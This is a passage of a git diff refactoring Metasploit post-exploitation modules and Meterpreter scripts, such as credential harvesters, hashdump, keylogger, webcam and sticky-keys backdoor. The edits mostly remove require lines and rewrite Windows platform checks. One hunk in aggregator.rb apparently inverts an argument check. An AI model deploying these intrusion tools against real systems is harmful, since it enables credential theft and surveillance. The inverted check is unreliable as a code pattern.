b/modules/post/windows/manage/powershell/load_script.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Powershell @@ -30,7 +27,7 @@ class MetasploitModule < Msf::Post [ OptPath.new( 'SCRIPT', [false, 'Path to the local PS script', ::File.join(Msf::Config.install_root, "scripts", "ps", "msflag.ps1") ]), OptPath.new( 'FOLDER', [false, 'Path to a local folder of PS scripts']) - ], self.class) + ]) end diff --git a/modules/post/windows/manage/pptp_tunnel.rb b/modules/post/windows/manage/pptp_tunnel.rb index 2dfc967798..e33f8c8b22 100644 --- a/modules/post/windows/manage/pptp_tunnel.rb +++ b/modules/post/windows/manage/pptp_tunnel.rb @@ -36,7 +36,7 @@ class MetasploitModule < Msf::Post OptInt.new('TIMEOUT', [true, 'Timeout for the tunnel creation.', 60]), OptString.new('PBK_NAME', [true, 'PhoneBook entry name.', 'MSF']), OptAddress.new('VPNHOST', [true, 'VPN server.']) - ], self.class) + ]) end diff --git a/modules/post/windows/manage/priv_migrate.rb b/modules/post/windows/manage/priv_migrate.rb index 10629a5753..bdfe79a973 100644 --- a/modules/post/windows/manage/priv_migrate.rb +++ b/modules/post/windows/manage/priv_migrate.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv @@ -40,7 +37,7 @@ class MetasploitModule < Msf::Post OptString.new('NAME', [false, 'Process to migrate to. For sessions with User rights. (See Module Description.)']), OptBool.new( 'KILL', [true, 'Kill original session process.', false]), OptBool.new( 'NOFAIL', [true, 'Migrate to user level process if Admin migration fails. May downgrade privileged shells.', false]) - ], self.class) + ]) end def run diff --git a/modules/post/windows/manage/pxeexploit.rb b/modules/post/windows/manage/pxeexploit.rb index 2ef7e54b0f..60b3cf8f97 100644 --- a/modules/post/windows/manage/pxeexploit.rb +++ b/modules/post/windows/manage/pxeexploit.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post @@ -43,7 +42,7 @@ class MetasploitModule < Msf::Post OptBool.new('RESETPXE', [ true, 'Resets the server to re-exploit already targeted hosts', false ]), OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]), OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ]) - ], self.class) + ]) end def run diff --git a/modules/post/windows/manage/reflective_dll_inject.rb b/modules/post/windows/manage/reflective_dll_inject.rb index 93f47f6f5e..0b6ba1bea4 100644 --- a/modules/post/windows/manage/reflective_dll_inject.rb +++ b/modules/post/windows/manage/reflective_dll_inject.rb @@ -3,10 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/post/windows/reflective_dll_injection' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::Windows::ReflectiveDLLInjection @@ -31,7 +28,7 @@ class MetasploitModule < Msf::Post [ OptPath.new('PATH',[true, 'Reflective DLL to inject into memory of a process.']), OptInt.new('PID',[true, 'Process Identifier to inject of process to inject payload.']), - ], self.class) + ]) end # Run Method for when run command is issued diff --git a/modules/post/windows/manage/remove_ca.rb b/modules/post/windows/manage/remove_ca.rb index 4df9dd274e..21bb00ea4c 100644 --- a/modules/post/windows/manage/remove_ca.rb +++ b/modules/post/windows/manage/remove_ca.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post def initialize(info={}) @@ -22,7 +20,7 @@ class MetasploitModule < Msf::Post register_options( [ OptString.new('CERTID', [ true, 'SHA1 hash of the certificate to remove.', '']), - ], self.class) + ]) end diff --git a/modules/post/windows/manage/remove_host.rb b/modules/post/windows/manage/remove_host.rb index 733af81ad7..f7fd4da5c0 100644 --- a/modules/post/windows/manage/remove_host.rb +++ b/modules/post/windows/manage/remove_host.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post def initialize(info={}) @@ -22,7 +20,7 @@ class MetasploitModule < Msf::Post register_options( [ OptString.new('DOMAIN', [ true, 'Domain name to remove from the hosts file.' ]) - ], self.class) + ]) end diff --git a/modules/post/windows/manage/rpcapd_start.rb b/modules/post/windows/manage/rpcapd_start.rb index 55b430af9a..e1db4f5773 100644 --- a/modules/post/windows/manage/rpcapd_start.rb +++ b/modules/post/windows/manage/rpcapd_start.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::File @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Post OptBool.new('ACTIVE', [ true, 'Enable rpcapd in active mode (passive by default).', false]), OptAddress.new('RHOST', [ false, 'Remote host to connect (set in active mode only).']), OptInt.new('PORT', [ true, 'Local/Remote port to capture traffic.',2002]) - ], self.class) + ]) end def run diff --git a/modules/post/windows/manage/run_as.rb b/modules/post/windows/manage/run_as.rb index c471b7042b..f696257177 100644 --- a/modules/post/windows/manage/run_as.rb +++ b/modules/post/windows/manage/run_as.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::Priv @@ -34,12 +31,12 @@ class MetasploitModule < Msf::Post OptString.new('PASSWORD', [true, 'Password to login with' ]), OptString.new('CMD', [true, 'Command to execute' ]), OptBool.new('CMDOUT', [true, 'Retrieve command output', false]) - ], self.class) + ]) register_advanced_options( [ OptBool.new('SETPASS', [true, 'Reset password', false]) - ], self.class) + ]) end # Check if sufficient privileges are present for certain actions and run getprivs for system diff --git a/modules/post/windows/manage/run_as_psh.rb b/modules/post/windows/manage/run_as_psh.rb index e70a50606f..f39ddcf4e9 100644 --- a/modules/post/windows/manage/run_as_psh.rb +++ b/modules/post/windows/manage/run_as_psh.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/post/windows/powershell' class MetasploitModule < Msf::Post @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Post OptBool.new('CHANNELIZE', [true, 'Chanelize output, required for reading output or interracting', true]), OptBool.new('INTERACTIVE', [true, 'Run interactively', true]), OptBool.new('HIDDEN', [true, 'Hide the window', true]) - ], self.class) + ]) end def run diff --git a/modules/post/windows/manage/sdel.rb b/modules/post/windows/manage/sdel.rb index 4ee17a767b..551e5b4ef6 100644 --- a/modules/post/windows/manage/sdel.rb +++ b/modules/post/windows/manage/sdel.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Post OptBool.new('ZERO', [ false, 'Zero overwrite. If set to false, random data will be used', false]), OptInt.new('ITERATIONS', [false, 'The number of overwrite passes', 1 ]), OptString.new('FILE',[true, 'File to be deleted','']) - ], self.class) + ]) end diff --git a/modules/post/windows/manage/sticky_keys.rb b/modules/post/windows/manage/sticky_keys.rb index 4f756a4bab..830053751d 100644 --- a/modules/post/windows/manage/sticky_keys.rb +++ b/modules/post/windows/manage/sticky_keys.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::File @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Post register_options([ OptEnum.new('TARGET', [true, 'The target binary to add the exploit to.', 'SETHC', ['SETHC', 'UTILMAN', 'OSK', 'DISP']]), OptString.new('EXE', [true, 'Executable to execute when the exploit is triggered.', '%SYSTEMROOT%\system32\cmd.exe']) - ], self.class) + ]) end # diff --git a/modules/post/windows/manage/vss_create.rb b/modules/post/windows/manage/vss_create.rb index a4ce9d424c..065d75be82 100644 --- a/modules/post/windows/manage/vss_create.rb +++ b/modules/post/windows/manage/vss_create.rb @@ -4,9 +4,6 @@ ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv @@ -33,7 +30,7 @@ class MetasploitModule < Msf::Post register_options( [ OptString.new('VOLUME', [ true, 'Volume to make a copy of.', 'C:\\']) - ], self.class) + ]) end diff --git a/modules/post/windows/manage/vss_list.rb b/modules/post/windows/manage/vss_list.rb index c7103c378e..f67ee1399b 100644 --- a/modules/post/windows/manage/vss_list.rb +++ b/modules/post/windows/manage/vss_list.rb @@ -4,9 +4,6 @@ ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv diff --git a/modules/post/windows/manage/vss_mount.rb b/modules/post/windows/manage/vss_mount.rb index 36b43bfe00..adbc250dc4 100644 --- a/modules/post/windows/manage/vss_mount.rb +++ b/modules/post/windows/manage/vss_mount.rb @@ -4,9 +4,6 @@ ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv @@ -34,7 +31,7 @@ class MetasploitModule < Msf::Post [ OptString.new('DEVICE', [ true, 'DeviceObject of Shadowcopy to mount.' ]), OptString.new('PATH', [ true, 'Path to mount it to.' ]) - ], self.class) + ]) end diff --git a/modules/post/windows/manage/vss_set_storage.rb b/modules/post/windows/manage/vss_set_storage.rb index 2a969572d8..57dff73d64 100644 --- a/modules/post/windows/manage/vss_set_storage.rb +++ b/modules/post/windows/manage/vss_set_storage.rb @@ -4,9 +4,6 @@ ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv @@ -34,7 +31,7 @@ class MetasploitModule < Msf::Post register_options( [ OptInt.new('SIZE', [ true, 'Size in bytes to set for Max Storage']) - ], self.class) + ]) end diff --git a/modules/post/windows/manage/vss_storage.rb b/modules/post/windows/manage/vss_storage.rb index 355e79b895..2f15925a3c 100644 --- a/modules/post/windows/manage/vss_storage.rb +++ b/modules/post/windows/manage/vss_storage.rb @@ -4,9 +4,6 @@ ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv diff --git a/modules/post/windows/manage/wdigest_caching.rb b/modules/post/windows/manage/wdigest_caching.rb index f792e2e9b0..984b4e2aa8 100644 --- a/modules/post/windows/manage/wdigest_caching.rb +++ b/modules/post/windows/manage/wdigest_caching.rb @@ -1,5 +1,3 @@ -require 'msf/core' -require 'rex' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post @@ -25,7 +23,7 @@ class MetasploitModule < Msf::Post register_options( [ OptBool.new('ENABLE',[false,'Enable the WDigest Credential Cache.',true]) - ], self.class) + ]) end # Run Method for when run command is issued diff --git a/modules/post/windows/manage/webcam.rb b/modules/post/windows/manage/webcam.rb index e427675c12..01aa80251f 100644 --- a/modules/post/windows/manage/webcam.rb +++ b/modules/post/windows/manage/webcam.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Auxiliary::Report @@ -33,7 +30,7 @@ class MetasploitModule < Msf::Post [ OptInt.new('INDEX', [false, 'The index of the webcam to use', 1]), OptInt.new('QUALITY', [false, 'The JPEG image quality', 50]) - ], self.class) + ]) end diff --git a/modules/post/windows/recon/computer_browser_discovery.rb b/modules/post/windows/recon/computer_browser_discovery.rb index 5bca755cd1..2abd182fdb 100644 --- a/modules/post/windows/recon/computer_browser_discovery.rb +++ b/modules/post/windows/recon/computer_browser_discovery.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Post OptString.new('LTYPE', [true, 'Account informations (type info for known types)', 'WK']), # Enum would be a better choice OptString.new('DOMAIN', [false, 'Domain to perform lookups on, default is current domain',nil]), OptBool.new('SAVEHOSTS', [true, 'Save Discovered Hosts to the Database', false]) - ], self.class) + ]) end def parse_netserverenum(startmem,count) diff --git a/modules/post/windows/recon/outbound_ports.rb b/modules/post/windows/recon/outbound_ports.rb index 6c7c9f5460..412d02f1ec 100644 --- a/modules/post/windows/recon/outbound_ports.rb +++ b/modules/post/windows/recon/outbound_ports.rb @@ -5,9 +5,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv @@ -40,7 +37,7 @@ class MetasploitModule < Msf::Post OptString.new('PORTS', [true, 'Ports to test (e.g. 80,443,100-110).','80,443']), OptInt.new('TIMEOUT', [true, 'Timeout for the ICMP socket.', 3]), OptBool.new('STOP', [true, 'Stop when it finds a public IP.', true]) - ], self.class) + ]) end def icmp_setup diff --git a/modules/post/windows/recon/resolve_ip.rb b/modules/post/windows/recon/resolve_ip.rb index 2734a2655d..583f39eb5e 100644 --- a/modules/post/windows/recon/resolve_ip.rb +++ b/modules/post/windows/recon/resolve_ip.rb @@ -5,9 +5,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post def initialize(info={}) @@ -23,7 +20,7 @@ class MetasploitModule < Msf::Post [ OptAddress.new("ADDRESS" , [ false, "Enumerate currently configured shares"]), OptAddressRange.new("RANGE" , [ false, "Enumerate Recently mapped shares"]) - ], self.class) + ]) end diff --git a/modules/post/windows/wlan/wlan_bss_list.rb b/modules/post/windows/wlan/wlan_bss_list.rb index e1b324d38a..f4fda88897 100644 --- a/modules/post/windows/wlan/wlan_bss_list.rb +++ b/modules/post/windows/wlan/wlan_bss_list.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post diff --git a/modules/post/windows/wlan/wlan_current_connection.rb b/modules/post/windows/wlan/wlan_current_connection.rb index e4c9f60808..29c34e46df 100644 --- a/modules/post/windows/wlan/wlan_current_connection.rb +++ b/modules/post/windows/wlan/wlan_current_connection.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post diff --git a/modules/post/windows/wlan/wlan_disconnect.rb b/modules/post/windows/wlan/wlan_disconnect.rb index 284203dc98..39abccf8d3 100644 --- a/modules/post/windows/wlan/wlan_disconnect.rb +++ b/modules/post/windows/wlan/wlan_disconnect.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post diff --git a/modules/post/windows/wlan/wlan_profile.rb b/modules/post/windows/wlan/wlan_profile.rb index ab7d8e4252..99795ccfc7 100644 --- a/modules/post/windows/wlan/wlan_profile.rb +++ b/modules/post/windows/wlan/wlan_profile.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post diff --git a/msfvenom b/msfvenom index 038b8e5fa3..2766360baf 100755 --- a/msfvenom +++ b/msfvenom @@ -23,10 +23,8 @@ class UsageError < MsfVenomError; end class NoTemplateError < MsfVenomError; end class IncompatibleError < MsfVenomError; end - require 'optparse' - # Creates a new framework object. # # @note Ignores any previously cached value. @@ -50,7 +48,6 @@ def framework @framework end - def parse_args(args) opts = {} datastore = {} @@ -206,7 +203,6 @@ def parse_args(args) opts end - # Read a raw payload from stdin (or whatever IO object we're currently # using as stdin, see {#initialize}) # @@ -277,8 +273,6 @@ def dump_nops "\n" + tbl.to_s + "\n" end - - begin generator_opts = parse_args(ARGV) rescue HelpError => e diff --git a/plugins/aggregator.rb b/plugins/aggregator.rb index 608d72032b..acdfdbd12d 100644 --- a/plugins/aggregator.rb +++ b/plugins/aggregator.rb @@ -112,7 +112,7 @@ module Msf def cmd_aggregator_save(*args) # if we are logged in, save session details to aggregator.yaml - if args.length == 0 || args[0] == "-h" + if args.length > 0 || args[0] == "-h" usage_save return end diff --git a/scripts/meterpreter/arp_scanner.rb b/scripts/meterpreter/arp_scanner.rb index b6c52a3105..c3136d45c6 100644 --- a/scripts/meterpreter/arp_scanner.rb +++ b/scripts/meterpreter/arp_scanner.rb @@ -102,7 +102,7 @@ cidr2scan = "" save2log = true end } -if client.platform =~ /win32|win64/ +if client.platform == 'windows' if args.length > 0 if save2log save_found(arp_scan(cidr2scan)) diff --git a/scripts/meterpreter/checkvm.rb b/scripts/meterpreter/checkvm.rb index 96d7ce66e6..67e0089ac4 100644 --- a/scripts/meterpreter/checkvm.rb +++ b/scripts/meterpreter/checkvm.rb @@ -344,7 +344,7 @@ def qemuchk(session) end -if client.platform =~ /win32|win64/ +if client.platform == 'windows' print_status("Checking if target is a Virtual Machine .....") found = hypervchk(session) found = vmwarechk(session) if not found diff --git a/scripts/meterpreter/credcollect.rb b/scripts/meterpreter/credcollect.rb index f54774e0e6..491aa7c60d 100644 --- a/scripts/meterpreter/credcollect.rb +++ b/scripts/meterpreter/credcollect.rb @@ -26,14 +26,9 @@ opts.parse(args) { |opt, idx, val| end } -if client.platform =~ /win32|win64/ +if client.platform == 'windows' # Collect even without a database to store them. - if client.framework.db.active - db_ok = true - else - db_ok = false - end - + db_ok = client.framework.db.active # Make sure we're rockin Priv and Incognito client.core.use("priv") if not client.respond_to?("priv") diff --git a/scripts/meterpreter/domain_list_gen.rb b/scripts/meterpreter/domain_list_gen.rb index a8efd15057..6f94542784 100644 --- a/scripts/meterpreter/domain_list_gen.rb +++ b/scripts/meterpreter/domain_list_gen.rb @@ -56,7 +56,7 @@ end # Create Filename info to be appended to downloaded files filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") -unsupported if client.platform !~ /win32|win64/i +unsupported if client.platform != 'windows' # Create a directory for the logs logs = ::File.join(Msf::Config.log_directory, 'scripts','domain_admins') diff --git a/scripts/meterpreter/dumplinks.rb b/scripts/meterpreter/dumplinks.rb index 6e93936f3c..f1f5f062c6 100644 --- a/scripts/meterpreter/dumplinks.rb +++ b/scripts/meterpreter/dumplinks.rb @@ -369,7 +369,7 @@ def get_time(lo_byte, hi_byte) end return time end -if client.platform =~ /win32|win64/ +if client.platform == 'windows' enum_users(os).each do |user| if user['userpath'] print_status "Extracting lnk files for user #{user['username']} at #{user['userpath']}..." diff --git a/scripts/meterpreter/duplicate.rb b/scripts/meterpreter/duplicate.rb index 080f9ded93..582088c6e9 100644 --- a/scripts/meterpreter/duplicate.rb +++ b/scripts/meterpreter/duplicate.rb @@ -84,7 +84,7 @@ mul.exploit_simple( 'RunAsJob' => true ) -if client.platform =~ /win32|win64/ +if client.platform == 'windows' server = client.sys.process.open print_status("Current server process: #{server.name} (#{server.pid})") diff --git a/scripts/meterpreter/enum_firefox.rb b/scripts/meterpreter/enum_firefox.rb index acd1c62880..e9d6d23f21 100644 --- a/scripts/meterpreter/enum_firefox.rb +++ b/scripts/meterpreter/enum_firefox.rb @@ -254,7 +254,7 @@ end kill_frfx = true end } -if client.platform =~ /win32|win64/ +if client.platform == 'windows' if frfxchk user = @client.sys.config.getuid if not is_system? diff --git a/scripts/meterpreter/enum_logged_on_users.rb b/scripts/meterpreter/enum_logged_on_users.rb index 138f41b704..6573bed3e0 100644 --- a/scripts/meterpreter/enum_logged_on_users.rb +++ b/scripts/meterpreter/enum_logged_on_users.rb @@ -89,7 +89,7 @@ end ls_current end } -if client.platform =~ /win32|win64/ +if client.platform == 'windows' if args.length == 0 print_line "Meterpreter Script for enumerating Current logged users and users that have loged in to the system." print_line(@@exec_opts.usage) diff --git a/scripts/meterpreter/enum_powershell_env.rb b/scripts/meterpreter/enum_powershell_env.rb index d3fab5da07..e477a1fb7e 100644 --- a/scripts/meterpreter/enum_powershell_env.rb +++ b/scripts/meterpreter/enum_powershell_env.rb @@ -124,7 +124,7 @@ def enum_powershell end end -if client.platform =~ /win32|win64/ +if client.platform == 'windows' enum_powershell else print_error("This version of Meterpreter is not supported with this Script!") diff --git a/scripts/meterpreter/enum_putty.rb b/scripts/meterpreter/enum_putty.rb index 5eae76195b..6b2bcd344e 100644 --- a/scripts/meterpreter/enum_putty.rb +++ b/scripts/meterpreter/enum_putty.rb @@ -91,7 +91,7 @@ def enum_saved_sessions(reg_key_base) end end end -if client.platform =~ /win32|win64/ +if client.platform == 'windows' hkcu_base.each do |hkb| if check_putty(hkb) enum_known_ssh_hosts(hkb) diff --git a/scripts/meterpreter/enum_vmware.rb b/scripts/meterpreter/enum_vmware.rb index c19a8fb200..64b51eae2c 100644 --- a/scripts/meterpreter/enum_vmware.rb +++ b/scripts/meterpreter/enum_vmware.rb @@ -297,7 +297,7 @@ def enum_vmwarewrk end end end -if client.platform =~ /win32|win64/ +if client.platform == 'windows' if check_vmsoft vmware_products = check_prods() if vmware_products.include?("VMware VirtualCenter") diff --git a/scripts/meterpreter/event_manager.rb b/scripts/meterpreter/event_manager.rb index 0a6594b463..ed20614fc7 100644 --- a/scripts/meterpreter/event_manager.rb +++ b/scripts/meterpreter/event_manager.rb @@ -204,7 +204,7 @@ opts.parse(args) { |opt, idx, val| } # Check for Version of Meterpreter -wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i +wrong_meter_version(meter_type) if meter_type != 'windows' # Print usage & exit if the user didn't specify an action # to default to just running for all logs) diff --git a/scripts/meterpreter/file_collector.rb b/scripts/meterpreter/file_collector.rb index 1597e59431..80d3efd92e 100644 --- a/scripts/meterpreter/file_collector.rb +++ b/scripts/meterpreter/file_collector.rb @@ -33,7 +33,7 @@ def usage end # Check that we are running under the right type of Meterpreter -if client.platform =~ /win32|win64/ +if client.platform == 'windows' # Parse the options if args.length > 0 @opts.parse(args) { |opt, idx, val| diff --git a/scripts/meterpreter/get_application_list.rb b/scripts/meterpreter/get_application_list.rb index 1186eaf3b6..3681d24c83 100644 --- a/scripts/meterpreter/get_application_list.rb +++ b/scripts/meterpreter/get_application_list.rb @@ -62,7 +62,7 @@ opts.parse(args) { |opt, idx, val| end } -if client.platform =~ /win32|win64/ +if client.platform == 'windows' app_list else print_error("This version of Meterpreter is not supported with this Script!") diff --git a/scripts/meterpreter/get_env.rb b/scripts/meterpreter/get_env.rb index b33d05be4b..f0b6e773ea 100644 --- a/scripts/meterpreter/get_env.rb +++ b/scripts/meterpreter/get_env.rb @@ -40,7 +40,7 @@ opts.parse(args) { |opt, idx, val| end } -if client.platform =~ /win32|win64/ +if client.platform == 'windows' list_env_vars(var_names) else print_error("This version of Meterpreter is not supported with this Script!") diff --git a/scripts/meterpreter/get_filezilla_creds.rb b/scripts/meterpreter/get_filezilla_creds.rb index 6d87539409..a88c26fd9b 100644 --- a/scripts/meterpreter/get_filezilla_creds.rb +++ b/scripts/meterpreter/get_filezilla_creds.rb @@ -150,7 +150,7 @@ def enum_users(os) end ################## MAIN ################## -if client.platform =~ /win32|win64/ +if client.platform == 'windows' print_status("Running Meterpreter FileZilla Credential harvester script") print_status("All services are logged at #{dest}") enum_users(os).each do |u| diff --git a/scripts/meterpreter/get_pidgin_creds.rb b/scripts/meterpreter/get_pidgin_creds.rb index 78d4f41d54..fe1a2cbf6c 100644 --- a/scripts/meterpreter/get_pidgin_creds.rb +++ b/scripts/meterpreter/get_pidgin_creds.rb @@ -183,7 +183,7 @@ end #------------------------------------------------------------------------------- ################## MAIN ################## -if client.platform =~ /win32|win64/ +if client.platform == 'windows' print_status("Running Meterpreter Pidgin Credential harvester script") print_status("All services are logged at #{dest}") enum_users(os).each do |u| diff --git a/scripts/meterpreter/get_valid_community.rb b/scripts/meterpreter/get_valid_community.rb index 54c5bce348..a31ba47f56 100644 --- a/scripts/meterpreter/get_valid_community.rb +++ b/scripts/meterpreter/get_valid_community.rb @@ -38,7 +38,7 @@ end end } -if client.platform =~ /win32|win64/ +if client.platform == 'windows' print_status("Searching for community strings...") strs = get_community(session) if strs diff --git a/scripts/meterpreter/getcountermeasure.rb b/scripts/meterpreter/getcountermeasure.rb index 804a4417e9..a987d322ec 100644 --- a/scripts/meterpreter/getcountermeasure.rb +++ b/scripts/meterpreter/getcountermeasure.rb @@ -364,7 +364,7 @@ killfw = false end } # get the version of windows -if client.platform =~ /win32|win64/ +if client.platform == 'windows' wnvr = session.sys.config.sysinfo["OS"] print_status("Running Getcountermeasure on the target...") check(session,avs,killbt) diff --git a/scripts/meterpreter/getgui.rb b/scripts/meterpreter/getgui.rb index ebd59c91a0..520ce1f760 100644 --- a/scripts/meterpreter/getgui.rb +++ b/scripts/meterpreter/getgui.rb @@ -151,7 +151,7 @@ frwrd = nil end } -if client.platform =~ /win32|win64/ +if client.platform == 'windows' if args.length > 0 if enbl or (usr and pass) message diff --git a/scripts/meterpreter/gettelnet.rb b/scripts/meterpreter/gettelnet.rb index 3f43493ea4..50035d78c6 100644 --- a/scripts/meterpreter/gettelnet.rb +++ b/scripts/meterpreter/gettelnet.rb @@ -155,7 +155,7 @@ enbl = nil } -unsupported if client.platform !~ /win32|win64/i +unsupported if client.platform != 'windows' if enbl or (usr!= nil && pass != nil) message diff --git a/scripts/meterpreter/getvncpw.rb b/scripts/meterpreter/getvncpw.rb index 900bb9906f..c26943730c 100644 --- a/scripts/meterpreter/getvncpw.rb +++ b/scripts/meterpreter/getvncpw.rb @@ -81,7 +81,7 @@ keytosearch = nil keytosearch = val end } -if client.platform =~ /win32|win64/ +if client.platform == 'windows' if keytosearch == nil print_status("Searching for VNC Passwords in the registry....") keys.each { |key| diff --git a/scripts/meterpreter/hashdump.rb b/scripts/meterpreter/hashdump.rb index b53fdb5d82..537e940774 100644 --- a/scripts/meterpreter/hashdump.rb +++ b/scripts/meterpreter/hashdump.rb @@ -244,7 +244,7 @@ def decrypt_user_hash(rid, hbootkey, enchash, pass) d1o << d2.final d1o + d2o end -if client.platform =~ /win32|win64/ +if client.platform == 'windows' begin print_status("Obtaining the boot key...") diff --git a/scripts/meterpreter/hostsedit.rb b/scripts/meterpreter/hostsedit.rb index 03694044e9..68aaa60978 100644 --- a/scripts/meterpreter/hostsedit.rb +++ b/scripts/meterpreter/hostsedit.rb @@ -74,7 +74,7 @@ def cleardnscach(session) print_status("Clearing the DNS Cache") session.sys.process.execute("cmd /c ipconfig /flushdns",nil, {'Hidden' => true}) end -if client.platform =~ /win32|win64/ +if client.platform == 'windows' @@exec_opts.parse(args) { |opt, idx, val| case opt when "-e" diff --git a/scripts/meterpreter/keylogrecorder.rb b/scripts/meterpreter/keylogrecorder.rb index 3ddb44fdda..e4043d5784 100644 --- a/scripts/meterpreter/keylogrecorder.rb +++ b/scripts/meterpreter/keylogrecorder.rb @@ -196,7 +196,7 @@ kill = false kill = true end } -if client.platform =~ /win32|win64/ +if client.platform == 'windows' if (captype.to_i == 2) if startkeylogger(session) keycap(session, keytime, logfile) diff --git a/scripts/meterpreter/metsvc.rb b/scripts/meterpreter/metsvc.rb index 7eafcef435..6c277d9f15 100644 --- a/scripts/meterpreter/metsvc.rb +++ b/scripts/meterpreter/metsvc.rb @@ -42,7 +42,7 @@ rport = 31337 install = false autoconn = false remove = false -if client.platform =~ /win32|win64/ +if client.platform == 'windows' # # Option parsing diff --git a/scripts/meterpreter/migrate.rb b/scripts/meterpreter/migrate.rb index c8d1a1760b..989ce76bc9 100644 --- a/scripts/meterpreter/migrate.rb +++ b/scripts/meterpreter/migrate.rb @@ -61,7 +61,7 @@ end ### Main ### -if client.platform =~ /win32|win64/ +if client.platform == 'windows' server = client.sys.process.open original_pid = server.pid print_status("Current server process: #{server.name} (#{server.pid})") diff --git a/scripts/meterpreter/multi_meter_inject.rb b/scripts/meterpreter/multi_meter_inject.rb index c167769728..af2c745a6c 100644 --- a/scripts/meterpreter/multi_meter_inject.rb +++ b/scripts/meterpreter/multi_meter_inject.rb @@ -122,7 +122,7 @@ end } # Check for version of Meterpreter -wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i +wrong_meter_version(meter_type) if meter_type != 'windows' # Create a exploit/multi/handler if desired create_multi_handler(payload_type) if start_handler diff --git a/scripts/meterpreter/netenum.rb b/scripts/meterpreter/netenum.rb index 4ddcd77a6c..3b7445543e 100644 --- a/scripts/meterpreter/netenum.rb +++ b/scripts/meterpreter/netenum.rb @@ -311,7 +311,7 @@ srvrc = nil end } -if client.platform =~ /win32|win64/ +if client.platform == 'windows' if pngsp == 1 if range != nil message(logs) diff --git a/scripts/meterpreter/packetrecorder.rb b/scripts/meterpreter/packetrecorder.rb index ba3e5dc1e2..b4429cab05 100644 --- a/scripts/meterpreter/packetrecorder.rb +++ b/scripts/meterpreter/packetrecorder.rb @@ -200,7 +200,7 @@ end } # Check for Version of Meterpreter -wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i +wrong_meter_version(meter_type) if meter_type != 'windows' if !int_id.nil? or !list_int.nil? if not is_uac_enabled? or is_admin? diff --git a/scripts/meterpreter/panda_2007_pavsrv51.rb b/scripts/meterpreter/panda_2007_pavsrv51.rb index 0d30420f2e..811bad7f41 100644 --- a/scripts/meterpreter/panda_2007_pavsrv51.rb +++ b/scripts/meterpreter/panda_2007_pavsrv51.rb @@ -62,7 +62,7 @@ end if rhost.nil? or rport.nil? usage -elsif client.platform =~ /win32|win64/ +elsif client.platform == 'windows' client.sys.process.get_processes().each do |m| if ( m['name'] =~ /PAVSRV51\.EXE/ ) diff --git a/scripts/meterpreter/pml_driver_config.rb b/scripts/meterpreter/pml_driver_config.rb index 55e3df6474..0063572253 100644 --- a/scripts/meterpreter/pml_driver_config.rb +++ 